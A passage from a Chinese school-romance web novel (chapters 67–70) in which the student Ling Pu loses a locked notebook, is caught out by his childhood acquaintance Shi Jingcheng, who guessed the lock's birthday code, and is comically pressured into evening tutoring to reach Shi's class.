宋昭仔细观察,对方明亮的眼睛扑闪扑闪,被水沾湿的睫毛呈现偏深的颜色,嘴唇红润,脸色白皙隐约红润,看上去十分健康。 他摇头。 凌蒲很忧伤,硬着头皮来到操场,刚找地方放下书和本子,一眼就望见对面班级里最显眼的时璟承,瞬间面色微白,脚下一软,宋昭连忙扶了他一下:“没事吧。” “像有事吗?”他立刻问。 “像的。”宋昭肯定。 于是凌蒲立刻朝着体育老师的方向行进;“老师,我想请个假。” 体育老师一打眼,发现还真是小脸煞白。 “低血糖了?” “没有。”凌蒲诚实。 “别硬撑着,凌蒲是吧?今天刚来。”体育老师在名单上找到他的名字,“你和其他请假同学坐一块儿就行。” “谢谢老师。” 凌蒲顺着体育老师指点的方向,来到旗杆下,已经坐了几个学生,连一个拄着拐的哥们都身残志坚地坐在这里。 “怎么不在教室里休息?”他询问。 “学校规定,体育课教室不留人,请假同学一律坐在旗杆下。”拄拐同那位怨气十足。 凌蒲点头,安静地坐在最边边,慈祥地望着满操场的人。 “铃铃铃——” 上课铃声响起,凌蒲眼睁睁地看着所有学生四散而去,方才还熙攘的操场很快变得空旷,只有几个整齐的小方阵。 国旗下的这块忽然显眼起来。 凌蒲坐立难安,只能假装侧头欣赏风景,留着后脑勺给时璟承的班级。 接着,清晰地听到一阵哨响,然后是一串儿越来越近的脚步声。 偷偷瞥一眼,发现有个班级正被体育老师带着朝国旗下列队走过来,再瞥一眼,又看到了那个身影。 时璟承穿着校服站在后排,风拂过他整整齐齐的领口和袖口,在乌黑的发丝附近徘徊。 凌蒲:你不要过来。 不过实话实说,这身普普通通的校服被时璟承穿得很高级,比国际部那种精致的款式还要矜贵。 现在不是欣赏的时候。凌蒲无力替群友出神图。 当距离越来越近的时候,他跳起来,一溜烟地跑回自己的班级。 “老师,我好了!” 精神可嘉,体育老师赞不绝口:“大家就该向凌蒲学习,归队!” 凌蒲默默站在队尾,听体育老师继续:“跑三圈热身之后,依然是按照项目来,选择对应项目的去指定地方上课。” 学校体育课设置是以项目为单位,在稍作集合之后各奔东西。比如选羽毛球的同学去羽毛球馆一起上,选乒乓球球的同学去乒乓球教室一起上,选足球的同学留在操场上。 凌蒲听到这,稍感转机。 “凌蒲你选什么运动?”体育老师问他。 “羽毛球。”凌蒲肯定。 仿佛考试之前最后看了一眼书,正好瞅到要考内容的喜悦。 群里说过,时璟承选的是网球。羽毛球馆是离网球场最远的位置。 “好。”体育老师把凌蒲的名字加在羽毛球后面。“待会儿跟着体育课代表走就行,丁朗选的也是羽毛球。现在各位先跑三圈热身。” 丁朗打招呼:“我是体育委员,有事可以找我。” 人如其名,是个开朗的体育生。 “好。”凌蒲点头。 整个操场上的班级都陆陆续续地在跑步,凌蒲瞄了眼时璟承的位置,侧身等对方过去,立刻跟在后头跑。 他的构想非常完美,试图复现小鱼卡视角,让时璟承感受什么是挥之不去的阴影。 然而高估了自己。没跑两步,就开始气喘吁吁。 “怎么跑得这么快。”凌蒲望着时璟承的远去的背影上气不接下气。 忽然旁边一阵风,看到苏颜杉也快步奔跑,偷偷拿起手机拍摄前面的时璟承,镜头极稳。 “跑步有什么拍的?” “你不懂。”苏颜杉说着,继续推镜头。 于是凌蒲也认真看了看。发现时璟承一步能比得上别人两步,所以频率不算太快,甚至看起来挺轻松,腰背一点没弯,肯定是平常经常锻炼。 “凌蒲,你不太行啊。”宋昭幸灾乐祸。 体育委员丁朗也问:“需要帮忙吗?” 凌蒲在冷眼与嘲笑中努力迈腿,不知过了多久,忽然余光一瞥。发现不知什么时候被时璟承落下去小半圈,再多就要被看到了。 潜力被激发,“噌噌”加速。 速度让宋昭和丁朗震惊。 拼死拼活保持落后小半圈的距离,等跑完之后,凌蒲觉得已经满眼冒星星。 汗水把额前的头发黏在脑门前,左一撮右一撮,本来白皙的皮肤染了颜色,像个红苹果。 他瘫倒在草坪上,仰脸就看到远方的时璟承悠哉地拧开水瓶喝水,呼吸都是匀称的。 “” 凌蒲头一回觉得世界有点不公平。 无意识地盯着瞅了会儿,在对方看过来时连滚带爬地和丁朗去上羽毛球课。 羽毛球是他比较擅长的运动,小时候报过兴趣班学习。 “咔咔咔”杀球,发泄心中的忧伤。 “真有两下子。”丁朗称赞,“我要使出实力了。” 棋逢对手,将遇良才,凌蒲酣畅淋漓地和丁朗一直打到下课五分钟,才不得不赶在最后期限收起拍子,准备继续回教室上课。 “等等,我书在操场上没拿。你先回去吧。” 凌蒲把外套朝手臂上一搭,一路小跑来到操场。 他记得他的书和很多同学的都放在一起,就在看台的座位上。 然而等来到看台,大部分书和物品都已经被主人拿走,剩下的零星里面压根没有化学书 他的书呢。 书无所谓,本呢! 第67章 一滴圆圆的水珠滴在凌蒲脑门上。 他仰起头,发现刚刚还只是浅淡的乌云像是在墨汁里滚过一遍,沉沉地压在上方。 眼看雨珠连成线,不断扩大。 无奈,凌蒲把没人要的物品全挪到挡雨的地方,先跑回教室。 外面的雨好大,像可云丢了孩子的那天一样大。 凌蒲的心情也是。 不幸中的万幸,他谨慎地使用了密码本,不然一世英名必将毁于一旦。 应该只是被别的同学拿错了,下课找一下就好。 他在心中安慰着自己,然而焦急的心情随着雨点“噼里啪啦”,与本子分别的时长一分一秒增加,不断被拉长。 下课铃一打,他迅速询问线索。 一无所获。 “不知道诶,临下课就有人陆陆续续拿书提前走了。”在操场上踢足球的目击者说。 打篮球的跟着补充:“看台上就那小片干净位置,好多个班都放东西在那儿。会不会是被别的班拿错了?” 他们看着凌蒲凝重的样子,被其学习精神所震惊。 纷纷安慰道:“没事,化学课周五才有,中间好几天呢。” “有空可以去同一时间上课的班级问问。” “你的是新书,应该没记多少东西,补订很快的从仓库里直接拿给你了。” “或者再等等,写名字的话应该会有人送给你的。” “……” * “卧槽,凌蒲是谁?” 与此同时的楼下教室里,时璟承的前桌看着自己书堆里夹着的一本化学书,惊慌失措。 当时他帮很多同班同学的书一起拿回来,分发完之后,才发现多了本。心情仿佛误拿了别人的外卖和快递一般,想到有人正在焦急寻找,便陷入了浓浓的负罪感。 看着陌生的姓名贴纸,上面端正的“凌蒲”两个字,他便四处询问有没有认识的。 “不认识。”刚看到前面的人回头想张口,时璟承淡淡,把杯子放在桌面上,刚从后门进来。 斩钉截铁的回答把前桌噎了一下,不过很快释然。 “也是,您能认识谁?知道我是谁不?”前桌把别的事先放一放,问出了一直好奇的问题。 时璟承看他一眼:“赵云。” “…谢谢。我叫章飞。张翼德比赵子龙更厉害。” 前桌的同桌充满期待:“我呢我呢。” 因为时璟承申请单独一个人坐,没有同桌,所以他俩是离这位风云人物最近的。 时璟承抬眸,对视。 “” 沉默说明了一切,答案已然震耳欲聋。那位讪讪地回过身:“时哥你真伤人。” 时璟承重新低下头,拿出作业来做,准备利用课间完成。 今天放学准备去马场,一放学就走,这是每周固定的日程。 他写两笔,拧眉望望窗外。 不知为什么,总感觉有人在看他。 这对时璟承并不新鲜,他从小就生活在别人的目光中心,走到哪都有回头率。 但这次不一样。 不是那种带着好奇和窥探的目光,而是像那种谨慎的小动物,躲在暗处观察人类,走近两步就跑,停下来又会靠近。 很奇异的感觉。 没有多想,他继续学习。 课间吵吵嚷嚷,前面的章飞还在为化学书找失主,一片嘈杂。时璟承拿出耳机,准备戴上。 世界清净前的最后一句,忽然听到有人回答了章飞。 “我知道凌蒲,就是楼上那个唇红齿白的小帅哥,今天在旗杆下面坐着的。” “?” 时璟承把耳机摘下来。 “哦哦,那太好了,几班的?等下节课我去送给他。”章飞很高兴,“里面这本密码本应该也是他的,我继续夹在一起。” 他回头:“时哥,这空桌子能放不?” “嗯。” 章飞一伸手,搁在时璟承旁边那张空桌上。 时璟承头都没抬,继续写题,笔尖在草稿纸上行云流水地划过。 写到一半,墨痕忽然在某小数点处晕染开来,他放下笔。 若无其事地拿过旁边这本化学书,垂眼。 封面姓名贴上的字迹工整,“凌”字转折很多,容易写得犀利。然而面前的这个字笔锋并不尖锐,带着种圆润的钝感,也挺好看的。 翻开,书本崭新,仅在一课上有痕迹,老老实实地在记笔记,但也不是极其认真或是探究到底的性子,有的地方记了一半,或许是过了PPT,就停留在那。 图画得倒是很精致,实验室里的量筒烧杯天平仿佛Q版动画,典型的本末倒置。 一页就看完了,没太大意思。 时璟承的目光又落在里面的本子上,被端正地贴着缝夹在中间,精致小巧的四位数密码,仿佛在拒绝他人的窥探。 他微微皱眉,看书上的笔记量感觉不会还专门有个化学笔记本,又藏得这么谨慎, 随手搁在一边,对别人的秘密没有兴趣。 窗外大雨倾盆,教室里前后所有灯全开,不知那一缕白炽光撞上了锁的金属光泽,不轻不重地跃动了一下,仿佛挑衅似的微光。 今天体育课旗杆下面坐的是凌蒲。 时璟承去看那四位数。 “我在端午节出生而且白白胖胖哦。” 这句话莫名闪入他的大脑。 伸手停顿,带着漫步经心地随意,拨动密码轮到端午节。 0-5-0-5 并没按下去,而是低头继续写了几道题,忽听台上物理老师道:“这题非常难,大家在下面多思考一阵,点几个同学上来做。” 时璟承这才反应过来已经上课挺久,抬起头,正好和老师的目光对了个正着。 物理老师的表情转为赞许:“时璟承,你来做吧。再加个沈庭赫,你也能做出来。” 时璟承走上讲台,看了眼题目,动笔。 粉笔在黑板上摩擦发出”沙沙”声,题目上画的示意图里有个圆圆的小球,又让人想起化学书里Q版缩略图,如果来画这个球估计也会画的很圆。 不知不觉,写题速度加快,到最末写完最后一个单位,搁了粉笔下去。 重新回到位置上,心不在焉地听着老师点评题目,手里的笔似转非转,在修长的手指间支着,腕上一块黑色的电子表,表下面一根红色编织绳若隐若现,隐约透着抹金色。 放下笔。 状似随意地把手搁在旁边的本子上,轻轻一按。 “咔哒”声响起,时璟承停住动作,缓缓看向声源发出处。 只见方才还严密防守的密码锁此刻毫无保留地敞开,弹出的锁扣轻轻摇动。 一副请君揆度的摸样。 * “谢谢谢谢,你真是个大好人。” 凌蒲近乎虔诚地捧着自己失而复得的本子,几乎热泪盈眶,尤其是发现上面的锁完好无损,和丢失时毫无二致,几乎想要猛猛磕头。 “同学你太客气了。” 章飞挠挠头,他只是交还了一本拿错的化学书和笔记本而已,没想到竟有如此热爱学习,爱书如命之人。 他不好意思:“当时是我没仔细看拿错了。不好意思。” “没事没事,多亏你保管我的本子,请你喝奶茶。” 凌蒲十分高兴地替对方点了奶茶,叮嘱放学一定要去传达室拿。 等人走了之后,紧紧抱着本儿不松手,爱抚一阵,把他打开。 今天的时璟承日程已经提前做好。 【时璟承每周二放学立刻出校门,疑似前往白云马场】 【应对措施:自由享受校园空间^-^,奖励自己去小鸟奶茶店肆意消费】 小鸟奶茶店是学校门口的一家店,平常凌蒲不敢逗留,但今天对他来说是个放风的好日子。 双喜临门,一放学,他就愉悦地收拾书包,盯着钟,等过了五分之后脚步轻松地跑下楼。 一路快步冲到奶茶店门口,发现人头攒动。 不过两三天没来,不想生意竟然这么兴隆。 他只得被挤在最外圈先等着,伸手逗了逗笼子里的小鸟。这是这家的吉祥物,身子圆圆胖胖,毛色洁白,尾羽倒是蓝色,张开红色的小嘴就是串歌声。 “晚上好。”凌蒲打招呼。 小鸟一歪头,看着他,急促地叫了两下。 凌蒲哈哈一笑,等人少了些,才从人群缝隙中灵活地挤进去,来到点餐台:“姐,今天生意这么好?” 老板娘是个四五十岁的阿姨,笑呵呵地:“来了个小帅哥坐在那边窗口,托他的福,进来的客人多了不少。” “还是味道好喝吸引来的。”凌蒲点餐,“我要一杯桂花冰奶,加小圆子。” “好嘞。” “看看我之前经常坐的位置有没有人,没有人的话还送到——” 凌蒲一边说着,一边转身。 随着目光一望,转到大半的角度忽然停下,笑容僵在嘴角。 小脸煞白。 在装修精致的室内,一个最不该出现在这里的身影,就那么突兀地,或者说,是无比闲适地,映入了他的眼帘。 时间仿佛在这一刻被拉长、黏住。 凌蒲首先看到的,是随意交叠的双腿,还有化成灰都印象深刻的鞋子,和前几天的那双似乎是同款不同色。 视线微微上移,是简单的黑色T恤包裹着的挺有力量感的上身,外面一丝不苟地穿着校服外套,最后,目光才极其不情愿而充满抗拒地落在那张脸上。 真是他,除非有双胞胎兄弟。 时璟承似乎在那里等了有一会儿了,他微微侧着头,目光平静地落在凌蒲的方向,被抓包也没有丝毫回避,像是在观看路边的一棵大树。 窗外不知什么时候雨过天晴,重新清朗的阳光在他冷白的皮肤和犯规的眉目上跳跃,将周身的冷冽气息奇妙地中和掉了些,竟显出几分……宁静的意味。 凌蒲安静下来,转身摸出口罩,手忙脚乱地扣上帽子,当机立断:“打包姐姐。” 接过桂花冰奶,准备蓄势狂奔,脑海中已经出现了蹲踞式起跑的小人。 “凌蒲。” 忽然,两个不带任何温度的字从上方传来,凌蒲被钉在原地。 第68章 他犹豫几秒,假装没有听到,欲遁走。 猛地一回身,就听“啪叽”一下,声音treetree的。 凌蒲捂着脸,想起来自己的身高稍显颓势,脸颊正好撞在时璟承肩膀上,很痛。 “不好意思。”他匆匆说着,想继续出去。 被时璟承用两根指头拦住。 对方似乎不想和他有太大面积接触,就那么面无表情地用两根手指推住他,却如同一把抵上的枪口,让凌蒲一动也不敢动。 “凌蒲。”时璟承重复,不带什么感情,却莫名显得对这两个字很有探究欲。 “有什么事吗?” 用状似口吻淡定地说着,凌蒲的声音越来越小,心理防线已然在逐层迸裂。 被充满压迫感地气息笼罩,几乎想直接膝盖一软,大哥别鲨我。 奶茶店客流量持续走高,周围人群来来往往,叽喳地讨论哪个味道的奶茶更好喝。 时璟承对凌蒲道:“出去说。” “不出去。”凌蒲的手紧紧扣住吧台的桌角,势要共存亡的架势。 这里人多,安全,要是中了计谋被骗到小巷子里,那可就叫天天不应,叫地地不灵了。说不准套上麻袋打他一顿,直接抛到后面那条河里。 到时候凌逸飞和钱芷就会伤心地寻找他,而时璟承只需要坐在阔气的真皮沙发上搂着几个美女,再气定神闲地打个电话: “都处理干净了吗?” 外界纷杂,凌蒲的脑海里也没停过。 一会儿是成深野的声音:“你骗了他。他说遇到你之后要找人打你一顿。” 再是宋昭的话语:“我们对他们来说就是小蚂蚁,踩一脚是轻而易举的事情。” 还有程益添的:“千万别惹到了这样的人,背后的黑暗你想象不到。” 夹杂着群聊讨论的字幕飘过【时璟承开着劳斯莱斯去为成深野报仇血拼】 伴随那天在走廊女生无助的哭声,都让眼前的时璟承成为十恶不赦的人渣大坏蛋。 仿佛一车面包人已经下来,守在门口等着一棍子敲晕。 凌蒲更坚定:“不走。” 时璟承:“” “你知道我为什么找你?”他垂眸望着这个与吧台不可分割的身影。 凌蒲死死扣住吧台角,指节泛白,仿佛掉落大海的人抓住唯一浮木,听到这句话,更是如同惊雷劈在面前。 天要亡我。 时璟承看着他这副誓与吧台共存亡的架势,又想到了那种受到惊吓的小狗幼崽,两个爪子也是会紧紧扒住周围的东西。 他向来毫无波澜的眼睛里闪过一丝无语。 收回放在对方肩上的两根手指,指节在桌面上敲了一下。 “你化学书拿错了。” 凌蒲圆圆的双眼抬起,难以置信地看着时璟承。 “不信掏出来看看。” 时璟承的目光落在凌蒲的书包上,一个小狮子挂件咧着笑脸,左右摇动。 凌蒲大脑无法思考,机械地按照指令摸出化学书,手指一推,把里面的笔记本重新推回书包。 打开,一顿翻找,果然今天上课密密麻麻的笔记不见了,只有冰冷的几行字。当时他只顾着看本子,压根没朝化学书上瞅。 “我去,还真是。” 他抬头,看了看时璟承。 世间最美妙的事情莫过于虚惊一场。仿佛雨后初晴,大雪初霁,他长长地舒了一口气,直起身。 “你看这事。”凌蒲笑嘻嘻,“还给你还给你。” 他把书朝时璟承怀里一塞,书包朝肩膀一甩,打算若无其事地离开。 忽然上方传来一句话:“我周二不去白云马场。场地太小,没意思,我去的是樟岚马场。” 时璟承淡淡,把被遗落在吧台上的奶茶递给凌蒲:“你的奶茶。” 然后转过身,就这么穿过人群走出了店门,圆嘟嘟的小鸟朝他的背影“啾啾”两声。 凌蒲劫后余生的喜悦被那句话冲散,还僵在原地。 他刚刚有问对方为什么不去白云马场吗。 总共就几句的对话在脑海中飞速闪回,也没探究出个所以然,冰凉的寒意把他拉回现实。 “冰冰冰,好冰。”他把桂花冰奶换了只手,转头对老板娘说,“姐,再来个荔枝味蛋糕。不打包了,在这吃。” 端着来到座位上,凌蒲打开手机。 今天时璟承要去马场的消息来源是某个群聊,从1-6开了个遍,顺利找到那条记录。 盯着黑色的宋体字上下打量,看不出任何端倪。 * 接下来的一整天,有关时璟承的情报网全线瘫痪。 群里议论纷纷。 【我靠,时璟承最近什么情况,完全打破了以往的出没规律】 【不知道啊,完全看不到人影】 【有没有知情的姐妹吱一声,精神食粮没了】 凌蒲放下手机,沉默地看着十米开外的时璟承。 他总都能看到。 分明是谨遵着应对措施走的,但不知为何每次都能看到时璟承。 而且对方似乎并不是专门来找他,比如今天,只是很正常地放学在前面走。 这巧合也太频繁了。 凌蒲放慢脚步,等时璟承的身影消失在校园门口,才走出去。 他今天要去市图书馆还书。是一本今天语文公开课用的读物,今天结束公开课就可以去还,他专门在措施里计算好了时间。 图书馆八点关闭自助还书机器,坐公交车过去七站路,正好能卡在七点四五十左右到达。 早知道时璟承这么迟才走,他一下课就溜了。 坐在公交车上,凌蒲充满幽怨。 定了个下车提醒便昏昏欲睡,经过一整天劳累的课程,现在心力交瘁。 刚迷迷糊糊睡着。“嗡”“嗡”,手里的手机震动起来,他立刻顶着惺忪的睡眼跑下车。 方才路上小堵了一阵,正好七点五十。 赶紧朝图书馆跑,这个时间只有大门开着,阅览室已经关闭,整个场馆一片寂静,只有淡淡的书墨香,没有什么人。 凌蒲按下电梯,走进去。 忽然一只手拦了一下,时璟承拿着本书走进来。 分明背着书包,但非要把一本厚厚的书拿在手上,露出侧面的图书馆标签 时璟承? 凌蒲抬起困倦的双眼,就这么懵懵地看了几秒,一直到电梯门关闭。他完全没有真切地相信这一幕,怀疑要么做梦了要么见鬼了。 时璟承先他一步按了数字3. 这是自助还书机所在的位置,按完之后后退两步,把按电梯的位置留给凌蒲。 凌蒲又一脸懵逼地看着电梯按键,这是把他要做的事给做了。 到底是谁在跟踪谁。 “今天放学耽搁了。”时璟承开口,“没能在六点钟踏出校门。” 凌蒲目光从电梯按键上离开,微仰,看着他。 六点是时璟承在他那本本子上应该离开的最迟期限,种种巧合,都指向了同一条原因。 “你看我本儿了。” 电梯是个密闭空间,已经开始上升。而且凌蒲现在很困,没有逃跑的条件,只有淡淡的,没招之后的安静。 时璟承偏转一点角度,看着倚在电梯壁上的凌蒲,对方头发微乱,看起来像是刚醒。 “检查嘴角了吗?” “别管了。”凌蒲胡乱擦了擦,对真相的渴求超过其他,“你怎么打开的。” 他可咬咬牙买了最贵的密码本,不是那种一撬就开的廉价本儿,不会一点痕迹都没有。 何况再怎么样也不能偷开人家锁啊。 凌蒲忽然回转过来:“上次那本化学书也是你故意换的吧,难怪我本儿还夹在中间,几乎同一页。” 秘密被摊开的羞耻,和被戏耍于股掌之间的难堪,都转化为了用来遮掩的恼怒,被人当成揪着尾巴玩弄的小白鼠了,亏他还谢谢谢谢一圈,像个傻子。 “不是。”时璟承很淡定,“随手试了一下就打开了,0-5-0-5,农历端午节。” 平地惊雷。 凌蒲偃旗息鼓,瞬间没了声势,小脸微微发白。 但对方并没有停下的意思,而是自顾自地继续:“为什么这么试,因为我在端午节出生而且——” 时璟承垂眸,目光在凌蒲还带着点婴儿肥的脸颊上戏谑地停留,“白白胖胖。” “” “叮”一声,三楼到了。 凌蒲也完全清醒。 电梯门缓缓打开,外面是图书馆安静昏暗的走廊,只有自助还书机还亮着微弱的指示光。 时璟承迈一步,用书挡住电梯门,礼貌而绅士地邀请凌蒲出去。 凌蒲觉得这地方也挺适合灭口的,反正叫破喉咙大概率没人听到。 “我错了。”他在言语上滑跪,做最后的挣扎。 “错哪了?” “你确定你没认错人是吧,有些事情也不一定。” 凌蒲怕被时璟承诈出什么,先谨慎一下,大眼睛里的狡黠坦坦荡荡。 “粽粽。”时璟承叫出这两个字。 “好的对不起。我当时不该骗你,你大人不计小人过,原谅我吧。都已经过去那么久了,我当时肯定不是故意的,现在基本都忘了。当然对你带来的心理创伤肯定是真的,但暴力打人这种行为真的有点不好,你给我一个弥补的机会,怎么样都行。” 一连串话语吐露出来,一抬头,对上时璟承冷冰冰的眼神。 刚才戏谑的神情几乎消失,就剩下了一片没有温度的寒意,似乎是在生气。 时璟承看着这双瞪圆的,熟悉的,和小时候如出一辙的琥珀色眼睛,这张骗过他,亲过他的嘴竟然说着完全忘了。 “骗子。”他下颌绷紧,吐出两个字。 凌蒲竟然莫名觉得有点熟悉。 似乎没有方才那么可怕。 “我会努力想起来的。”凌蒲诚恳,“给我一点时间,先别带人打我。可以吗?” “不可以。” “” 第69章 凌蒲为难。 眼睛眨巴眨巴:“这样有点不好吧。” “骗人的时候怎么想不到。” 电梯因为被阻挡而发出“滴滴滴”的声音,时璟承松开挡着的书本,重新回到电梯里。 天色已晚,外面没人按电梯,他们一直停留在三楼。 随着电梯门关闭,感受到重新贴近的气息。凌蒲重新紧绷起来,看起来对方并不打算轻易放过他。 试图辩解:“那时候才不到三岁” 眼看时璟承脸色再次冷下来,凌蒲立刻重新改变措辞:“但是性质同样恶劣。” 时璟承侧过身,垂眸打量他。 凌蒲屏住呼吸,抬起头偷看一眼,又“唰”地低下。 对方本来就比他高,在这样狭小的空间里,仿佛所有的气压都朝凌蒲压过来,能闻到很淡很淡的高级雪松香,可能是衣柜里带的。 他攥紧书包带,继续朝后靠,恨不得电梯墙壁上有个洞钻进去。 “在电梯里逗留很危险。”凌蒲提醒道,同时看了眼手表,还书时间就还有五分钟。 “我会带人打你的。”时璟承说。 凌蒲从手表上抬起头,震惊地望着时璟承。 “一定要这样吗?” “嗯。带一车人。” “面包车?” “大卡车。” “”凌蒲沉默。 “除非答应我一个条件。” 峰回路转。电梯重新运行,屏幕上的箭头重新亮起,闪烁着下方向。 绝处逢生,凌蒲一叠声:“可以可以。” “月考升到我的班级。”时璟承淡淡。 “不然出成绩那天找人打你。” 电梯的数字跳到“1”,门打开,时璟承走了出去。 凌蒲呆呆的,直到一个手里晃着串钥匙的大爷走进电梯,看到他手里的书,立刻催促道:“还书的啊?得快点,我这准备关门了。” “好的,大爷您等我三十秒。” 离八点还有最后两分钟,凌蒲重新来到自助还书机处,麻利地插卡还书。 回想着时璟承那句话。根据潜伏群聊多日的经验,相关基础知识了如指掌。时璟承是理科1班的,需要年级前50才能升上去。 出来走在大马路上,天色已经浓黑,弯弯的月牙挂在天空,像一个倒过来的问号。 而远在另一个城市的程益添才刚刚晚自习休息,给凌蒲打来电话。 “喂,好几天没联系,杀手鲨掉你没?”程益添压低声音。 凌蒲:“杀手命令我考上年级前五十。” “?” 程益添也吃惊:“是正经杀手不?” “不知道。”凌蒲的心情非常糟糕。 程益添凝重:”我看这个杀手脑子不太正常,这是什么主人的任务。你得多加小心了,那种给一刀的是最痛快的,就怕他有什么变态的折磨欲望,把你想小白鼠一样玩弄,非常痛苦地挂掉。“ 他”呃“地一下,做出人挂掉的声音。 凌蒲能想象到那边的动作,应该先伸手抹了脖子,然后歪头吐舌头。 “他还说考不到的话就要带一卡车的人打我。” “天啊。”程益添激动起来,“你没看过那种变态杀人狂的电影吗,你只能按照他的做法来,这样才能活命。如果不从就直接干掉你,不然你以为电影里的人为什么乖乖听话。你先完成第一步,我们再徐徐图之。” “可是我考不到怎么办。” “你能考到的。我们这边有的科目要难一些,上次入学你不是做了他们的周测卷,思路都有的,就是知识点和方法上没学的不会,快点补起来啊!” 路灯把凌蒲的影子拉得挺长,泛白的灯光笼罩在上方,他陷入淡淡的沉默。 第二天忧心忡忡地去上学,忧心忡忡地听课,忧心忡忡地去食堂,忧心忡忡地准备回家—— “不许走。” 时璟承出现,就在凌蒲班级的走廊上。 “我要回家了。”凌蒲婉拒。 “留下来上晚自习。” 凌蒲大惊,难以置信地瞥了时璟承一眼。世界上竟然还有人主动想上晚自习,果然变态。 “我教你。”时璟承说。 他们学校的晚自习是自愿申请制度,只需要登记,便可以选择在空的大教室或是图书馆学习。 “为什么?” “确保你到我的班级。” 像那种做完陷阱的捕鼠人,摆了一串儿奶酪,要亲眼在现场看着,确保老鼠按照既定路线行走。 凌蒲没有办法,人为刀俎他为鱼肉,不得不跟着。 首次踏足从未涉及到的学校图书馆自习区。 空间还挺大。 装修别致,分为讨论区和安静学习区,最前面是餐吧,提供简餐和饮料。 桌椅摆放错落有致,有双人桌,阶梯式座椅,顶上挂着从大到小的的灯罩,属于非常现代的图书馆。 时璟承带他走进小型研讨室,刷卡开门,是另一个完全安静的空间。 凌蒲站在门口,鞋面抵着进门的那条线,攥着书包带犹豫。 “我喜欢安静。”时璟承说了句,算是解释为什么选择这里。 “我喜欢人多,比较热闹。”凌蒲弱弱。 “谁管你喜欢什么。” “” 凌蒲只得走进去。门自动落锁,在背后“咔嗒”一声。 时璟承打量着凌蒲,向来冷淡的神情中透着不加掩饰的兴味。他拿出试卷和书,利落地拉开椅子坐下,灯光在轮廓分明的侧颜上投下光影。 “坐。”他没抬头,示意对面的位置。 凌蒲慢吞吞地坐下,谨慎地把书包挪到前面抱着,挡住自己。 “开始写。”时璟承给了他一张数学试卷。 凌蒲沉默,用最慢的速度拉开笔袋的拉链,缓缓翻找,看着满眼复杂的数字,确信时璟承这是要从精神层面摧毁他。 抬头偷偷瞅了眼,其实长得真蛮帅的。对方正用审判的目光低头看着他自己的作业,根根分明的睫毛投下淡淡的阴影,眉目冷峻,仿佛作业犯了天条。 时璟承察觉到熟悉的视线,那种来自小动物的偷窥。他一抬眼,对方“唰”地一按,笔袋里的笔都“啪叽”落地,一根根地滚落不同方向。 “不好意思。” 凌蒲望着手里仅存的空袋子,听着在安静空间里颇为吵闹的声响,耳朵和脸红了一片。 “先写。”时璟承给他一只黑笔。 “唰唰唰”“唰唰唰”,纸上留下一串笔锋圆润的数字。 凌蒲一边写,一边觉得这一切都好变态。 不过做着做着就投入进去,发现这张试卷考察内容十分全面,几乎涵盖了每一个单元内容,他没掌握知识点的地方就不会,掌握的就能很快写出来。 直到在一道题上卡壳良久,无意识地把笔抵上下巴,本就圆润的侧脸弧度稍稍扩大,笔杆在脸颊乱戳,习惯性张嘴,咬在笔帽上。 牙齿白而齐整,只是侧面有颗虎牙。 咬了两下,察觉到什么,抬头,和时璟承对视。 又缓缓低头,看着手里这支笔,用拇指指腹擦了擦:“对不起。” 看起来很贵的一支笔。 “我赔给你”凌蒲摸手机。 “不加你的联系方式。” “不用加联系方式,现在收款码可以收款的。” “不。” “那现金可以吗?明天带给你。”凌蒲想到自己的大金猪储钱罐。 “一支笔而已。”时璟承淡淡,“我多得是。” 凌蒲不说话了。 这时候外面“咚咚”两声敲门声响起,只见方才餐吧的服务生端着托盘进来,上面一瓶矿泉水,一杯饮品,还有一份甜点,放在时璟承面前。 点点头,又出去。 凌蒲的目光被吸引,只见饮品特意调成了暖暖的颜色,冒着细小的气泡,很符合秋天的主题。 甜品就更诱人了,上面点缀了个板栗,看起来非常美味。 “是你要吃的吗?” “不然?”时璟承挑眉。 “要喝两杯呀,你真能喝。” 凌蒲夸他。 时璟承拿过矿泉水拧开,喝了两口,剩下那一份诱人的甜点和饮料就摆在桌上,散发诱人的香味。 安静了一会儿,凌蒲还是开口问道: “这是在小程序上下单的吗?” 没想到还有这种好地方,他也想给自己点一份。 “你不许吃。”时璟承冷淡,“我不喜欢我写题的时候旁边有人吃东西。” 凌蒲百分之一万确定他就是故意的,也是折磨小白鼠的一种手段。 太变态了。 继续低头思考题目,写写算算,没有思路。 “不会?”时璟承问。 他放下笔,微微前倾,从凌蒲手里拿过他的笔和草稿纸,在混乱的演算过程旁边重新写下新的,行列整洁清晰,推导细致没有跳过任何一个步骤。 两种字体形成了非常鲜明地对比。 凌蒲认真观察,其实时璟承的字体就是他理想中的字体,带着犀利的笔锋,干净利落。 对方的靠近重新带来那阵极淡的雪松香气,混合纸墨的味道,瞬间压过了甜香,凌蒲的呼吸下意识放轻。 “看明白了吗?”时璟承垂眸,看着凌蒲翘起的几撮头发。 凌蒲没什么看不明白的,但看着时璟承握笔的位置,还是友好地告诉他:“你别朝上握,这里我刚才咬过了。” 时璟承:“” “十几年不见,你的脑回路是怎么长的?” 凌蒲不高兴:“不告诉你你又找茬。” “找茬?”时璟承眯了眯眼睛。 凌蒲察觉到危险信号,立刻滑跪:“sorry,我不是这个意思。你当我没说吧,我是低情商。” 他按照时璟承的写法重新思考这道题,思路竟然真的豁然开朗。 “我发现你挺厉害的。” 凌蒲不吝赞美。 第70章 凌蒲发自内心地夸赞,清澈的眼睛里溢满崇拜。 时璟承瞥他一眼,挪开目光:“少废话。” 凌蒲低头,完成一张试卷。 撂下笔,合上盖子,如同一名骑士把剑收入剑鞘,再看一眼钟:“我觉得可以了。 “不可以。” “那我赶不上最后一班公交车,走回去很累的。” “可以打车。” “什么家庭啊,上个学还打车。”凌蒲顺嘴。 一顿,闭嘴。 “把请别人喝奶茶的钱留下来,就能打车了。” 上回凌蒲请章飞的奶茶还是超大杯,让章飞把“一个大方的小帅哥”挂在嘴上,吵了好几个课间。 “那不一样。属于人情费,正常的应酬开销。” “你还应酬上了?” “和你这种资本主义说不明白。” 凌蒲拒绝再开口。 听到这四个字,时璟承瞥他一眼,把一直摆放在前面的蛋糕和饮料推过来:“资本主义的蛋糕吃不吃?” “不吃。”凌蒲很有骨气,任凭变得浓郁的诱人香味在面前乱舞。 “今晚就找人打你。”时璟承摸手机。 “别。”凌蒲改口,“你不是资本主义,还有什么事儿就说吧。我今晚打车走。” “先吃了。” 时璟承示意。 凌蒲不得不吃。他用小勺矜持地挖一点,绵软的蛋糕入口,属于板栗的香甜立刻迸发,太美味。 虽然极力伪装冷漠,但细小的表情还是掩盖不住。 